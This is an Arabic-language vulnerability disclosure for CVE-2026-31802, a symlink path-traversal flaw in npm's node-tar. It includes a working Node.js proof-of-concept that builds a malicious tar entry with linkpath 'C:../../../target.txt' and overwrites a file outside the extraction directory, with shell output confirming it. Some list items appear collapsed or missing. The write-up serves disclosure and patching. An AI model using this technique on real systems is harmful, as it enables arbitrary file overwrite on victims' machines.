
إثبات المفهوم والتقرير الفني لـ CVE-2026-31802، وهو ثغرة اجتياز المسار عبر الروابط الرمزية (symlink) في npm tar تسمح بالكتابة فوق ملفات عشوائية خارج دليل الاستخراج.
البحث: Joshua van Rijswijk
يحتوي هذا المستودع على إثبات المفهوم والتحليل الخاص بي لثغرة CVE-2026-31802، وهي ثغرة عالية الخطورة في حزمة tar الخاصة بـ npm (node-tar) والتي تؤثر على الإصدارات <= 7.5.10.
اكتشفت أنه يمكن خداع tar لإنشاء رابط رمزي يشير إلى خارج دليل الاستخراج المقصود باستخدام هدف رابط رمزي نسبي لمحرك الأقراص مثل C:../../../target.txt. عمليًا، هذا يجعل من الممكن الهروب من cwd أثناء الاستخراج وتحويل استخراج الأرشيف إلى أداة كتابة فوق الملفات التعسفية.
يمكن الوصول إلى الثغرة من خلال سلوك الاستخراج العادي مع أرشيفات tar يتحكم فيها المهاجم.
أثناء فحص كيفية تعامل tar مع استخراج الروابط الرمزية، لاحظت أن بعض قيم linkpath كانت تُعالج بشكل غير متسق أثناء التنظيف والتحقق. على وجه الخصوص، المسارات النسبية لمحرك الأقراص مثل:
C:../../../target.txt
كانت تُعاد كتابتها قبل الاستخدام، ولكن لم يتم التحقق منها بنفس الصيغة التي تم تخزينها وتطبيقها في النهاية.
هذا التباين هو ما يجعل الثغرة قابلة للاستغلال.
تأتي الثغرة من كيفية معالجة tar لقيم linkpath المصممة بعناية للروابط الرمزية أثناء الاستخراج.
على مستوى عالٍ، يقوم منطق الاستخراج بإزالة بادئة محرك الأقراص من مسار مثل:
C:../../../target.txt
ويعيد كتابته إلى:
../../../target.txt
ومع ذلك، يتم إجراء فحص أمان الاجتياز مقابل القيمة الأصلية قبل الإزالة، بينما يستخدم إنشاء الرابط الرمزي لاحقًا القيمة المعاد كتابتها.
هذا يعني أن أرشيفًا خبيثًا يمكنه اجتياز التحقق باستخدام صيغة واحدة من المسار، ولكن لا يزال ينتج رابطًا رمزيًا يجتاز خارج دليل الاستخراج عند كتابته على القرص.
يمكن أن يحتوي أرشيف خبيث على إدخال رابط رمزي مثل هذا:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
عند الاستخراج باستخدام استخدام عادي مثل:
tar.x({ cwd, file })
يحدث ما يلي:
linkpath.cwd.بعبارة أخرى، يتحقق منطق الاستخراج من قيمة واحدة ويستخدم قيمة أخرى. هذه الفجوة تخلق أداة الاجتياز.
كتبت إثبات المفهوم التالي لإثبات أنه يمكن جعل رابط رمزي مستخرج يشير إلى خارج جذر الاستخراج ثم استخدامه للكتابة فوق ملف خارج دليل العمل.
يقوم إثبات المفهوم بما يلي:
../target.txta/b/llinkpath إلى C:../../../target.txta/b/lسكربت إثبات المفهوم:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED يؤكد أن الملف خارج دليل الاستخراج تمت الكتابة فوقه.
يُظهر مخرجا readlink وقائمة الملفات أن الرابط الرمزي المستخرج يشير إلى خارج جذر الاستخراج المقصود.
تمنح هذه المشكلة المهاجم أداة كتابة فوق الملفات التعسفية خارج دليل الاستخراج المقصود، بصلاحيات العملية التي تقوم بالاستخراج.
تشمل السيناريوهات الواقعية:
في تلك البيئات، يمكن لأرشيف مصمم بعناية أن يتسبب في كتابات خارج الدليل الذي تتوقع التطبيقات التحكم فيه.
tar <= 7.5.10tar 7.5.11تم إصلاح هذه المشكلة في 7.5.11.
يجب على المستخدمين الترقية فورًا:
npm install tar@^7.5.11